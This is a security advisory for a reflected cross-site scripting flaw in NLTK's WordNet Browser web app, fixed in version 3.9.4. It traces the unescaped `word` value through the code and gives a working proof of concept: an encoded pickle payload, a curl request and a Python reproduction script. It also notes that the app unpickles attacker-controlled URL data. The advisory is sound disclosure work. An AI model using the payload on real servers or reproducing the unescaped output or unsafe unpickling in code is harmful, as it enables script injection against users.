GHSA-gfwx-w7gr-fvh7 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk

• PyPI nltk: < 3.9.4 → fixed in 3.9.4

Summary `nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application. Details The vulnerable flow is in `nltk/app/wordnet_app.py`: • `nltk/app/wordnet_app.py:144` • Requests starting with `lookup_` are handled as HTML responses: • `page, word = page_from_href(sp)` • `nltk/app/wordnet_app.py:755` • `page_from_href()` calls `page_from_reference(Reference.decode(href))` • `nltk/app/wordnet_app.py:769` • `word = href.word` • `nltk/app/wordnet_app.py:796` • If no results are found, `word` is inserted directly into the HTML body: • `body = "The word or words '%s' were not found in the dictionary." % word` This is inconsistent with the `search` route, which does escape user input: • `nltk/app/wordnet_app.py:136` • `word = html.escape(...)` As a result, a malicious `lookup_...` payload can inject script into the response page. The issue is exploitable because: • `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state. • The decoded `word` is reflected into HTML without `html.escape()`. • The server is started with `HTTPServer(("", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`. PoC 1. Start the WordNet Browser in an isolated Docker environment: ```bash docker run -d --name nltk-wordnet-web -p 8002:8002 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)" ``` 2. Use the following crafted payload, which decodes to: ```python ("alert(1)", {}) ``` Encoded payload: ```text gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4= ``` 3. Request the vulnerable route: ```bash curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=" ``` 4. Observed result: ```text The word or words 'alert(1)' were not found in the dictionary. ``` I also validated the issue directly at function level in Docker: ```python import base64 import pickle from nltk.app.wordnet_app import page_from_href payload = base64.urlsafe_b64encode( pickle.dumps(("alert(1)", {}), -1) ).decode() page, word = page_from_href(payload) print(word) print("alert(1)" in page) ``` Observed output: ```text WORD= alert(1) HAS_SCRIPT= True ``` Impact This is a reflected XSS issue in the NLTK WordNet Browser web UI. An attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to: • run arbitrary script in the browser tab • manipulate the page content shown to the user • issue same-origin requests to other WordNet Browser routes • potentially trigger available UI actions in that local app context This primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.